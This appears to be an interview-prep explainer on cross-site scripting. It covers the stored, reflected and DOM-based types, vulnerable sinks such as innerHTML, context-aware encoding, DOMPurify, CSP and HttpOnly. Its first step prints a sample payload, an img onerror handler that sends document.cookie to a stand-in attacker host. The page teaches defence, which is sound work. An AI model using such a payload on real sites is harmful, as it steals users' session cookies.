Skip to content

How does XSS work, and how do you defend against it?

BeginnerAsked very oftenConcept roundConceptWeb Security
Asked atGoogleMetaCloudflare
#xss#csp#sanitization#output-encoding#browser-security

Company tags are compiled from public interview reports and are signals, not guarantees.

What interviewers are testing

XSS is the canonical web security question because it tests whether you understand the browser trust model instead of just memorizing "escape output". Interviewers listen for the taxonomy — stored, reflected, and DOM-based — plus the difference between encoding and sanitization, and whether you treat CSP and HttpOnly as layers or as the fix. Knowing why the browser cannot distinguish app code from injected script is what separates a memorized answer from a real model.

Mental model

An XSS vulnerability is any path where attacker-controlled data reaches an HTML parser or JavaScript interpreter as syntax instead of data. The browser executes whatever it parses in the page origin, so defense means breaking that path everywhere: context-aware output encoding, sanitization only when HTML must survive, and CSP plus HttpOnly as layers that limit damage when a path is missed.

Step-by-step solution

  1. Step 1: XSS in one minute

    Cross-site scripting is not a browser bug; it is a trust bug. When a page renders data as markup, any visitor-supplied string can become executable code, and the browser has no way to know that the script it just parsed came from an attacker rather than the application. All script on a page shares one origin, one DOM, and one cookie jar, so injected code runs with exactly the same privileges as first-party code. Watch the animation: the same comment travels through two pipelines. On the left the server concatenates it into HTML and the parser turns the payload into a live image node whose handler fires. On the right the server encodes it, the browser displays angle brackets as text, and no node is ever created. The lesson is blunt: once attacker data reaches an HTML parser unescaped, the browser cannot save you.

    javascript
    // vulnerable: the payload becomes real markup
    el.innerHTML = "<p>" + comment + "</p>";
    
    // attacker comment
    // <img src=x onerror="fetch('https://evil.io?c=' + document.cookie)">
  2. Step 2: Stored, reflected, DOM-based

    The taxonomy answers where the payload enters and where it is rendered. Stored XSS saves the payload first — a comment, profile, or support ticket — so every later viewer is attacked and no special link is needed; this is the most dangerous class. Reflected XSS bounces the payload straight back in the response, usually from a query parameter or form field, so the attacker must deliver a crafted link. DOM-based XSS never involves the server at all: client code copies location.hash or another source into a dangerous sink such as innerHTML, so server-side output encoding cannot help. Watch the animation: all three routes converge on the same outcome, attacker-controlled strings becoming executable markup inside a victim origin. The fix differs by class — encode stored and reflected output at render time, and sanitize or avoid dangerous sinks in client code — which is why naming the class is the first real step of any remediation.

  3. Step 3: The vulnerable sink

    An HTML sink parses strings as markup. element.innerHTML = userComment is the textbook sink: the assignment is instant, the parser builds real element nodes, and handlers such as onerror fire without any click. document.write, insertAdjacentHTML, eval, and template strings passed to dangerouslySetInnerHTML behave the same way. The animation shows the two assignments side by side. On the left the payload becomes an image node whose broken src triggers onerror, and the handler calls the attacker server; on the right textContent inserts the identical string as text, so the angle brackets are visible characters rather than syntax. When rich formatting must be preserved, never hand the raw string to innerHTML — run it through a maintained allowlist sanitizer such as DOMPurify first. The one-line rule worth saying out loud in an interview: data should stay data.

    javascript
    // vulnerable
    element.innerHTML = userComment;
    
    // safe: the payload renders as text
    element.textContent = userComment;
    
    // rich text still required? sanitize first
    element.innerHTML = DOMPurify.sanitize(userComment);
  4. Step 4: Encode for every context

    Escaping is context-specific, which is why "just escape it" is incomplete advice. A value placed between tags needs HTML entity encoding; inside an attribute it also needs quote encoding; inside a URL it needs percent encoding; and inside a script block it needs a serializer designed for script contexts. JSON.stringify alone is unsafe there: it does not escape <, so a payload containing </script> can break out of the block, and server-rendered script data must escape <, >, and & (or use a serializer built for script contexts). Modern template engines escape automatically for HTML contexts, but they cannot follow a value into a URL or an inline event handler. The animation contrasts string-built HTML — where one bio value is safe in one context and breaks the next — with template interpolation that applies the right encoder per slot. The practical rules are short: never concatenate HTML by hand, let the template engine escape, percent-encode dynamic URL components, and render script data through a serializer that escapes <, >, and & rather than raw JSON.stringify.

    javascript
    // choose the encoder for the destination context
    const safeText = escapeHtml(bio);            // HTML body
    const safeAttr = escapeHtml(quote(bio));     // attribute value
    const safeUrl = encodeURIComponent(bio);     // URL component
    const safeJson = JSON.stringify(bio);        // NOT safe alone in <script>: escape <, >, &
  5. Step 5: CSP and HttpOnly limits

    Defense in depth assumes a bug will slip through. A Content-Security-Policy such as script-src 'self' 'nonce-...' tells the browser to refuse inline and third-party scripts, so a markup injection that produces a blockable script simply does not execute — though the policy must be strict, because unsafe-inline or broad host allowlists defeat it. Trusted Types can additionally force code through a sanitizer before it reaches a dangerous sink. HttpOnly is a different, narrower control: it stops JavaScript from reading a cookie, so an XSS payload cannot silently exfiltrate the session token. It does not stop the XSS itself — the malicious script still runs inside the page and can issue authenticated requests as the user. Watch the animation: CSP blocks the injected script, and even if it ran, document.cookie is empty. Use both, and keep sessions short.

Edge cases & traps

  • Sanitizing on input and trusting it forever: stored payloads outlive code, and library fixes change what is dangerous — encode or sanitize again on output.
  • Blocklisting tags or stripping <script> by hand: mutation XSS slips through naive filters — use a maintained allowlist sanitizer such as DOMPurify.
  • CSP containing 'unsafe-inline': it re-enables exactly the inline execution you were trying to block — prefer nonces or hashes and drop unsafe sources.
  • Trusting HttpOnly to stop XSS: the payload still runs and can act as the user — HttpOnly only prevents reading the cookie, so keep the injected script out too.
  • Forgetting DOM-based sources: location.hash, window.name, and postMessage data flowing into innerHTML are invisible to server-side encoding.

Follow-up questions

Go deeper: Explore the Web Security visualizer